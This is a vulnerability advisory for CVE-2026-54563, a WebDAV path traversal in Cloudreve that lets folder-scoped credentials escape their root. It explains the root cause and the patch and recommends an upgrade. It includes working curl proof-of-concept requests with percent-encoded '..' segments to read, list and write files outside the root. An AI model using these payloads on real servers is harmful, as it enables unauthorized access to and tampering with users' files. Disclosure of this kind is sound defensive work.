high · 7.1CVE-2026-54563Aug 26, 2026

CVE-2026-54563: Cloudreve WebDAV Scoped Credential Path Traversal

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A Cloudreve WebDAV account scoped to a specific folder can escape that folder by sending a percent-encoded dot-dot segment in the request path, letting the credential read, write, or delete files…

Packagegithub.com/cloudreve/Cloudreve/v4
Ecosystemgo
Affected< 4.0.0-20260606032813-26b6b1044b02
Fixed in4.0.0-20260606032813-26b6b1044b02
CVE-2026-54563: Cloudreve WebDAV Scoped Credential Path Traversal

The problem

Cloudreve lets administrators create WebDAV accounts rooted at a specific folder, intended to give a sync client or third party limited access. The stripPrefix function in pkg/webdav/webdav.go trims the /dav prefix from the request path and joins the remainder onto the account root using fs.URI.JoinRaw, but never checks that the result stays inside that root.

Go's net/http decodes %2e%2e to .. before the handler runs. JoinRaw then feeds those literal .. segments to url.URL.JoinPath, which resolves them as parent references. A credential rooted at cloudreve://my/restricted resolves GET /dav/%2e%2e/outside.txt to cloudreve://my/outside.txt.

Read-only credentials can list and download anything in the owner's namespace; writable credentials can also create, overwrite, move, and delete files there.

Proof of concept

A working proof-of-concept for CVE-2026-54563 in github.com/cloudreve/Cloudreve/v4, with the exact payload below.

bash
# Read a file outside the DAV root (works with read-only credentials)
curl --path-as-is -i \
  -u 'user@example.com:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/outside.txt'

# List directory outside the DAV root
curl --path-as-is -i -X PROPFIND \
  -H 'Depth: 1' \
  -u 'user@example.com:DAV_PASSWORD' \
  'https://cloudreve.example/dav/%2e%2e/'

# Write a file outside the DAV root (writable credentials)
printf 'created outside DAV root\n' | curl --path-as-is -i -X PUT \
  -u 'user@example.com:DAV_PASSWORD' \
  --data-binary @- \
  'https://cloudreve.example/dav/%2e%2e/created-outside.txt'

The root cause is a missing containment check in stripPrefix. PathEscape (used inside JoinRaw) leaves a bare . untouched because shouldEscape returns false for it, so the literal segment .. survives into url.URL.JoinPath, which cleans and resolves the parent reference.

The traversal is bounded to the same Cloudreve user's namespace because downstream DBFS owner checks still apply, but the per-folder DAV account boundary is completely bypassed.

The patch (commit 26b6b1044b02) introduces a containment check using the existing URI.EqualOrIsDescendantOf predicate. The resolved candidate URI is rejected with HTTP 403 before it is returned if it does not sit at or below the account root, blocking all .. traversal variants including %2e%2e and %2F..%2F.

The fix

Upgrade to Cloudreve 4.16.1 (Go module pseudo-version v4.0.0-20260606032813-26b6b1044b02 or the tagged release 4.16.1). No configuration change is needed. If you manage scoped WebDAV accounts, verify after upgrading that traversal requests return HTTP 403.

Reporter not attributed.

References: [1][2][3][4]

Related research